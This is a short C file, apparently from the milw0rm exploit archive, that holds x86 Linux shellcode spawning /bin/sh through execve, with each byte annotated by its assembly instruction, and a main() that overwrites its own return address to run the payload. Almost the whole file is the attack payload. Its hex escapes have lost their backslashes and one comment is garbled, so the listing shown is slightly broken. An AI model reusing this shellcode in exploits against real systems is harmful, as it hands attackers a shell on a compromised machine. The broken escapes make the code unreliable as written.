/*
* s0t4ipv6@Shellcode.com.ar
* execve /bin/sh
*
* main() {
* char *name[2];
* name[0]="/bin/sh";
* name[1]=NULL;
* execve(name[0],name,NULL);
* }
*/
#include <stdio.h>
char shellcode[]=
"xebx18" // jmp 0x18 // 3-4
"x5e" // popl %esi // 5
"x89x76x08" // movl %esi, 0x8(%esi) // 6-8
"x31xc0" // xorl %eax, %eax // 9-10
"x88x46x07" // movb %al, 0x7(%esi) // 11-13
"x89x46x0c" // movl %eax, 0xc(%esi) // 14-16
"x89xf3" // movl %esi, %ebx // 17-18
"x8dx4ex08" // leal 0x8(%esi), %ecx // 19-21
"x8dx56x0c" // leal 0xc(%esi), %edx // 22-24
"xb0x0b" // movb $0xb, %al // 25-20 0xb to eax (syscall execve)6
"xcdx80" // int $0x80 // 27-28
"xe8xe3xffxffxff" // call -0x1d
"/bin/sh";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%dn",strlen(shellcode));
(*ret) = (int)shellcode;
}
// milw0rm.com [2004-09-12]